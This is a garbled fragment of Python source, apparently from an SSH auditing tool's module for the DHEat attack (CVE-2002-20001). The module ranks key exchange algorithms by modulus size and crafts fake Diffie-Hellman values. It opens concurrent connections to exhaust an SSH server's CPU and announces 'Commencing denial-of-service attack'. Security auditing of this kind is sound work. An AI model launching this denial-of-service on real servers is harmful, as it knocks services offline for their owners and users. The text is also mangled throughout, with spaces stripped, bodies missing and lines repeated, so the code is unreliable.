DHEAT_WARNING="Potentially insufficient connection throttling detected, resulting in possible vulnerability to the DHEat DoS attack (CVE-2002-20001). Suppress this test and message with the --skip-rate-test option. Additional info: {connections:d} connections were created in {time_elapsed:.3f} seconds, or {rate:.1f} conns/sec; server must respond with a rate less than {max_safe_rate:.1f} conns/sec to be considered safe."
# List of the Diffie-Hellman group exchange algorithms this test supports.
gex_algs=[
"diffie-hellman-group-exchange-sha256",# Implemented in OpenSSH.
"diffie-hellman-group-exchange-sha1",# Implemented in OpenSSH.
"diffie-hellman-group-exchange-sha224@ssh.com",
"diffie-hellman-group-exchange-sha256@ssh.com",
"diffie-hellman-group-exchange-sha384@ssh.com",
"diffie-hellman-group-exchange-sha512@ssh.com",
]
# List of key exchange algorithms, sorted by largest modulus size.
alg_priority=[
"diffie-hellman-group18-sha512",# Implemented in OpenSSH.
"diffie-hellman-group18-sha512@ssh.com",
"diffie-hellman-group17-sha512",
"diffie-hellman_group17-sha512",# Note that this is not the same as the one above it.
"diffie-hellman-group16-sha512",# Implemented in OpenSSH.
"diffie-hellman-group16-sha256",
"diffie-hellman-group16-sha384@ssh.com",
"diffie-hellman-group16-sha512",
"diffie-hellman-group16-sha512@ssh.com",
"diffie-hellman-group15-sha256",
"diffie-hellman-group15-sha256@ssh.com",
"diffie-hellman-group15-sha384@ssh.com",
"diffie-hellman-group15-sha512",
"diffie-hellman-group14-sha256",# Implemented in OpenSSH.
"diffie-hellman-group14-sha1",# Implemented in OpenSSH.
"diffie-hellman-group14-sha224@ssh.com",
"diffie-hellman-group14-sha256@ssh.com",
"diffie-hellman-group1-sha1",# Implemented in OpenSSH.
"diffie-hellman-group1-sha256",
"curve25519-sha256",# Implemented in OpenSSH.
"curve25519-sha256@libssh.org",# Implemented in OpenSSH.
"ecdh-sha2-nistp256",# Implemented in OpenSSH.
"ecdh-sha2-nistp384",# Implemented in OpenSSH.
"ecdh-sha2-nistp521",# Implemented in OpenSSH.
"sntrup761x25519-sha512@openssh.com",# Implemented in OpenSSH.
]
# Dictionary of key exchanges mapped to their modulus size.
alg_modulus_sizes={
"diffie-hellman-group18-sha512":8192,
"diffie-hellman-group18-sha512@ssh.com":8192,
"diffie-hellman-group17-sha512":6144,
"diffie-hellman_group17-sha512":6144,
"diffie-hellman-group16-sha512":4096,
"diffie-hellman-group16-sha256":4096,
"diffie-hellman-group16-sha384@ssh.com":4096,
"diffie-hellman-group16-sha512@ssh.com":4096,
"diffie-hellman-group15-sha256":3072,
"diffie-hellman-group15-sha256@ssh.com":3072,
"diffie-hellman-group15-sha384@ssh.com":3072,
"diffie-hellman-group15-sha512":3072,
"diffie-hellman-group14-sha256":2048,
"diffie-hellman-group14-sha1":2048,
"diffie-hellman-group14-sha224@ssh.com":2048,
"diffie-hellman-group14-sha256@ssh.com":2048,
"diffie-hellman-group1-sha1":1024,
"diffie-hellman-group1-sha256":1024,
"curve25519-sha256":(31*8),
"curve25519-sha256@libssh.org":(31*8),
"ecdh-sha2-nistp256":(64*8),
"ecdh-sha2-nistp384":(96*8),
"ecdh-sha2-nistp521":(132*8),
"sntrup761x25519-sha512@openssh.com":(1189*8),
}
# List of DH algorithms that have been validated by the maintainer. There is quite the long list of DH algorithms available (see above), and testing them all would require a lot of time as many are not implemented in OpenSSH. So perhaps the community can help with testing...
# If a DH algorithm is used that is not in the tested_algs list, above, then write this notice to the user.
untested_alg_notice="{color_start:s}NOTE:{color_end:s} the target DH algorithm ({dh_alg:s}) has not been tested by the maintainer. If you can verify that the server's CPU is fully utilized, please copy/paste this output to jtesta@positronsecurity.com."
# Hardcoded ECDH ephemeral public keys for NIST-P256, NIST-P384, and NIST-P521. These need to lie on the ellipical curve in order to be accepted by the server, so generating them quickly isn't easy without an external crypto library. So we'll just use some hardcoded ones.
# The SSH2_Kex object that we recieved from the server in a prior connection. We'll use it as a template to craft our own kex.
self.kex=kex
# The connection and read timeouts.
self.connect_timeout=aconf.timeout
self.read_timeout=aconf.timeout
# True when we are in debug mode.
self.debug_mode=aconf.debug
# The length of our fake e value to give to the server. It is automatically set based on the DH modulus size we are targeting, or by the user for advanced testing.
self.e_rand_len=0
# The SSH Key Exchange Init message. This is the same for each connection (minus the random 16-byte cookie field, so it will be pre-computed to save time.
self.kex_init_body=b''
# Disable buffered output.
self.out.buffer_output=False
# We'll use a weak/fast PRNG to generate the most significant byte of our fake e response to the server.
random.seed()
# Attack statistics.
self.num_attempted_tcp_connections=0
self.num_successful_tcp_connections=0
self.num_successful_dh_kex=0
self.num_failed_dh_kex=0
self.num_bytes_written=0
self.num_connect_timeouts=0
self.num_read_timeouts=0
self.num_socket_exceptions=0
self.num_openssh_throttled_connections=0
# The time we started the attack.
self.start_timer=0.0
# The number of concurrent sockets to open with the server.
self.concurrent_connections=10
# The key exchange algorithm name that we are targeting on the server. If empty, we will choose the best available option. Otherwise, it is set by the user.
# If the user specified a length of e to use instead of the correct length determined at run-time.
ifaconf.dheat_e_length>0:
self.send_all_packets_at_once=True# If the user specified the e length (which is non-standard), we'll also send all SSH packets at once to reduce latency (which is also non-standard). This involves sending the banner, KEX INIT, DH KEX INIT all in the same packet without waiting for the server to respond to them individually.
self.user_set_e_len=True
self.e_rand_len=aconf.dheat_e_length
# User wants to perform a rate test.
self.rate_test=False
self.target_rate=0# When performing a rate test, this is the number of successful connections per second we are targeting. 0=no rate limit.
DHEat.BAR_CHART="\U0001F4CA"# The bar chart emoji.
DHEat.CHART_UPWARDS="\U0001F4C8"# The upwards chart emoji.
@staticmethod
defadd_byte_units(n:float)->str:
'''Converts a number of bytes to a human-readable representation (i.e.: 10000 -> "9.8KB").'''
ifn>=1073741824:
return"%.1fGB"%(n/1073741824)
ifn>=1048576:
return"%.1fMB"%(n/1048576)
ifn>=1024:
return"%.1fKB"%(n/1024)
return"%u bytes"%n
defanalyze_gex(self,server_gex_alg:str)->int:
'''Analyzes a server's Diffie-Hellman group exchange algorithm. The largest modulus it supports is determined, then it is inserted into DHEat.alg_priority list while maintaining order by largest modulus. The largest modulus is also returned.'''
self.output("Analyzing server's group exchange algorithm, %s, to find largest modulus it supports..."%(server_gex_alg))
self.debug("GEX algorithm [%s] supports a max modulus of %u bits."%(server_gex_alg,largest_bit_modulus))
# Now that we have the largest modulus for this GEX, insert it into the prioritized list of algorithms. If, say, there are three 8192-bit kex algorithms in the list, we'll insert it as the 4th entry, as plain KEX algorithms require less network activity to trigger than GEX.
'''Attempts to quickly create many sockets to the target server. This simulates the DHEat attack without causing an actual DoS condition. If a rate greater than MAX_SAFE_RATE is allowed, then a warning string is returned.'''
# Gracefully handle when the user presses CTRL-C to break the interactive rate test.
'''Attempts to quickly create many sockets to the target server. This simulates the DHEat attack without causing an actual DoS condition. If a rate greater than MAX_SAFE_RATE is allowed, then a warning string is returned.'''
print("\n%sUnfortunately, this feature is not currently functional under Windows.%s This should get fixed in a future release. See: <https://github.com/jtesta/ssh-audit/issues/261>"%(DHEat.YELLOWB,DHEat.CLEAR))
# If the user passed --conn-rate-test, then we'll perform an interactive rate test against the target.
interactive=False
ifaconf.conn_rate_test_enabled:
interactive=True
max_connections=999999999999999999
concurrent_sockets=aconf.conn_rate_test_threads
DHEat.CLEAR="\033[0m"
DHEat.WHITEB="\033[1;97m"
DHEat.BLUEB="\033[1;94m"
rate_str=""
ifaconf.conn_rate_test_target_rate>0:
rate_str=" at a max rate of %s%u%s connections per second"%(DHEat.WHITEB,aconf.conn_rate_test_target_rate,DHEat.CLEAR)
print()
print("Performing non-disruptive rate test against %s[%s]:%u%s with %s%u%s concurrent sockets%s. No Diffie-Hellman requests will be sent."%(DHEat.WHITEB,aconf.host,aconf.port,DHEat.CLEAR,DHEat.WHITEB,concurrent_sockets,DHEat.CLEAR,rate_str))
print()
else:# We'll do a non-interactive test as part of a standard audit.
# Ensure that the server supports at least one DH algorithm. Otherwise, this test is pointless.
'''Generates and sets the Key Exchange Init message we'll send to the server on each connection.'''
# The kex template we use is the server's own kex returned from an initial connection. We'll only specify the first algorithm in each field for efficiency, since the server already told us it supports them.
'''Makes a Diffie-Hellman Key Exchange Init packet. Instead of calculating a real value for e, a random value less than p - 1 is constructed.'''
# Start with a zero-byte to signify that this is not a negative number. The second byte must be 0xfe or smaller so as to ensure that our value of e < p - 1 (otherwise the server will reject it). All bytes thereafter can be random.
'''Creates a complete Key Exchange Init packet, which contains the kex algorithm we're targeting, host keys & ciphers we support, etc. The algorithms we claim to support is really the list that the server gave to us in order to guarantee that it will accept our message.'''
'''Reads an SSH packet and returns its message code. When Diffie-Hellman Key Exchange Reply (31) packets are read, the most-significant byte of the GEX p-value is also returned.'''
print("Because the number of successful TCP connections per second (%.1f) is less than %.1f, it appears that the target %sis using rate limiting%s to prevent CPU exaustion."%(self.num_successful_tcp_connections/seconds_running,DHEat.MAX_SAFE_RATE,DHEat.GREENB,DHEat.CLEAR))
print("Because the number of successful TCP connections per second (%.1f) is greater than %.1f, it appears that the target %sis NOT using rate limiting%s to prevent CPU exaustion."%(self.num_successful_tcp_connections/seconds_running,DHEat.MAX_SAFE_RATE,DHEat.REDB,DHEat.CLEAR))
print(" * OpenSSH has a throttling mechanism (controlled by the MaxStartups directive) to prevent too many pre-authentication connections from overwhelming the server. When triggered, the server will probabilistically return \"Exceeded MaxStartups\" instead of the usual SSH banner, then terminate the connection. In order to maximize the DoS effectiveness, this metric should be greater than zero, though the ideal rate of rejections depends on the target server's CPU resources.")
self.output("Running DHEat test against %s[%s]:%u%s with %s%u%s concurrent sockets..."%(self.WHITEB,self.target,self.port,self.CLEAR,self.WHITEB,self.concurrent_connections,self.CLEAR))
# If the user didn't specify an exact kex algorithm to test, check our prioritized list against what the server supports. Larger p-values (such as group18: 8192-bits) cause the most strain on the server.
chosen_alg=""
gex_modulus_size=-1
ifself.target_kex=="":
# Look through the server's kex list and see if any are GEX algorithms. To save time, we will only check the first GEX we encounter, instead of all of them (I assume the results will be the same anyway).
server_gex_alg=""
forserver_kexinself.kex.kex_algorithms:
ifserver_kexinDHEat.gex_algs:
server_gex_alg=server_kex
break
# If the server supports at least one gex algorithm, find the largest modulus it supports. Store an entry in the alg_modulus_sizes so we remember this for later.
ifserver_gex_alg!="":
# self.output("Analyzing server's group exchange algorithm, %s, to find largest modulus it supports..." % (server_gex_alg))
gex_modulus_size=self.analyze_gex(server_gex_alg)
# self.output("The largest modulus supported by %s appears to be %u." % (server_gex_alg, largest_bit_modulus))
# Now choose the KEX/GEX with the largest modulus that is supported by the server.
chosen_alg=""
foralginDHEat.alg_priority:
ifalginself.kex.kex_algorithms:
chosen_alg=alg
break
# If the server's kex options don't intersect with our prioritized algorithm list, then we cannot run this test.
ifchosen_alg=="":
self.out.fail("Error: server's key exchange algorithms do not match with any algorithms implemented by this client!")
self.output("Using user-supplied e length: %u"%(self.e_rand_len))
ifchosen_alginself.COMPLEX_PQ_ALGS:
self.output("{:s}NOTE:{:s} short e lengths can work against the post-quantum algorithm targeted, but the current implementation of this attack results in protocol errors; the number of successful DH KEX replies will be reported as zero even though the CPU will still be exhausted.".format(self.YELLOWB,self.CLEAR))
self.output("{:s}NOTE:{:s} ignoring user-supplied e length, since the targeted algorithm (a NIST P-curve) must use hard-coded e values.".format(self.YELLOWB,self.CLEAR))
# If an untested DH alg is chosen, ask the user to e-mail the maintainer/create a GitHub issue to report success.
self.output("Commencing denial-of-service attack. Validate results by monitoring target's CPU idle status.")
self.output()
self.output("Press CTRL-C to stop attack and see statistics.")
self.output()
self.generate_kex(chosen_alg)
# If the user didn't already choose the e length, calculate the length of the random bytes we need to generate the value e that we'll send to the server.
# If we receive a valid SSH banner from the server, we'll count it as a successful connection. Note that OpenSSH returns "Exceeded MaxStartups" when throttling occurs (due to the MaxStartups setting).
self.debug("Exception in read_ssh_packet: %s"%str(e))
continue
# If we received Diffie-Hellman Group Exchange Reply (33), then we know the server properly handled our Diffie-Hellman Group Exchange Init (32), and thus, wasted its time.